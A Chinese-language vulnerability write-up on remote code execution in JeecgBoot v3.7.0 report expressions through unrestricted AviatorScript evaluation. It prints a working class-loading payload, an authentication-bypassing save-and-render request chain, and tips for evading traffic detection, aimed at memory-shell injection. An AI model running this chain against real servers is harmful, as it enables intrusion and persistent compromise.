环境
JeecgBoot v3.7.0
漏洞分析
由于代码不是很难,这里我主要分享一些我在突破内存马注入过程中的一些坑点
JeecgBoot后台存在这样一个功能,在积木报表中,支持使用一些表达式公式,但是它不会实时渲染,需要我们通过预览或者导出功能触发渲染

那么自然而然,我们不难想到一点,去年积木报表就出过freemarker表达式的问题,在这里渲染时,是否也会触发呢,于是我们快乐的敲下了这样一行代码

渲染时没反应,打开控制台我们看到了这样一串报错,可以发现确实解析了,同时也可以看到我们语法也存在一定问题,当然这不是很重要,第一步我只是想确认是否支持渲染freemarker表达式

接下来查看渲染处理部分的代码发现,在org.jeecg.modules.jmreport.desreport.render.utils.FreeMarkerUtils#a(java.lang.String, java.lang.String),这里使用了SAFER_RESOLVER,因此想快速通过这个点突破实现注入不太可能了
1 | public Template a(String var1, String var2) throws IOException { |
接下来继续回到一开始提到的点,既然支持表达式,那么我们是否可以从官方文档入手尝试发现一些系统实现的表达式的一些问题呢?
从官网中我们可以看到:https://help.jeecg.com/jimureport/function/condition.html
可以看到这些用法还是很多的,在这里我们第一眼能看到支持自定义报表函数,可惜需要提前注册

接下来,我们想快速定位表达式的处理,那么最快的方式就是让他报错

随意输入一些字符我们可以发现,控制台果然出现了报错,从这里我们知道了使用了AviatorScript表达式处理
1 | [Aviator WARN] The function 'max' is already exists, but is replaced with new one. |
同时我们也快速定位到了对应处理的类org.jeecg.modules.jmreport.desreport.express.ExpressUtil
在这里我仅列出了表达式引擎初始部分的代码,在这里可以看到对于表达式没有任何的限制!!!
Ps: 关于这个表达式一个比较全面的中文文档:https://www.yuque.com/boyan-avfmj/aviatorscript/ou23gy#elOSu
1 | static AviatorEvaluatorInstance g = AviatorEvaluator.newInstance(); |
既然如此那么我们便找到了代码执行所在,秉持着能谷歌就不动手的理念,很快在github上搜到了想要的Payload
https://github.com/apache/hertzbeat/security/advisories/GHSA-mcqg-gqxr-hqgj
简单修改了一波,打算弹一个计算器
1 | =(use org.springframework.util.ClassUtils;let loader = ClassUtils.getDefaultClassLoader();use org.springframework.util.Base64Utils;let str = Base64Utils.decodeFromString('yv66vgAAADQANgoADAAbCQAcAB0IAB4KAB8AIAoAIQAiCAAjCgAhACQHACUHACYKAAkAJwcAKAcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAITFlZRFNZNDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAlAQAKU291cmNlRmlsZQEAC1lZRFNZNC5qYXZhDAANAA4HACoMACsALAEAAzEyMwcALQwALgAvBwAwDAAxADIBABNvcGVuIC1uYSBDYWxjdWxhdG9yDAAzADQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MAA0ANQEABllZRFNZNAEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEACwAMAAAAAAACAAEADQAOAAEADwAAAC8AAQABAAAABSq3AAGxAAAAAgAQAAAABgABAAAACQARAAAADAABAAAABQASABMAAAAIABQADgABAA8AAAByAAMAAQAAAB+yAAISA7YABLgABRIGtgAHV6cADUu7AAlZKrcACr+xAAEACAARABQACAADABAAAAAaAAYAAAALAAgADQARABAAFAAOABUADwAeABEAEQAAAAwAAQAVAAkAFQAWAAAAFwAAAAcAAlQHABgJAAEAGQAAAAIAGg==');use org.springframework.cglib.core.ReflectUtils;ReflectUtils.defineClass('YYDSY4',str,loader);) |
成功触发,没毛病

因此把这些步骤串起来
Step1:绕过鉴权保存表达式,记录response返回的id,在这里我把表达式中的Base64分离开,放在了其他单元格中,避免某些版本表达式部分长度太长报错,另外在某些低版本中,会对部分操作先将=替换为空再执行,因此可以结合这些点来绕过流量设备检测,但并不通用就是
1 | POST /jeecg-boot/jmreport/save?previousPage=1&jmLink=WTR8fHRlc3Q= |
Step2:
渲染执行表达式
1 | POST /jeecg-boot/jmreport/show?previousPage=1&jmLink=WTR8fHRlc3Q= |
至于最终注入内存马,就不用我教了吧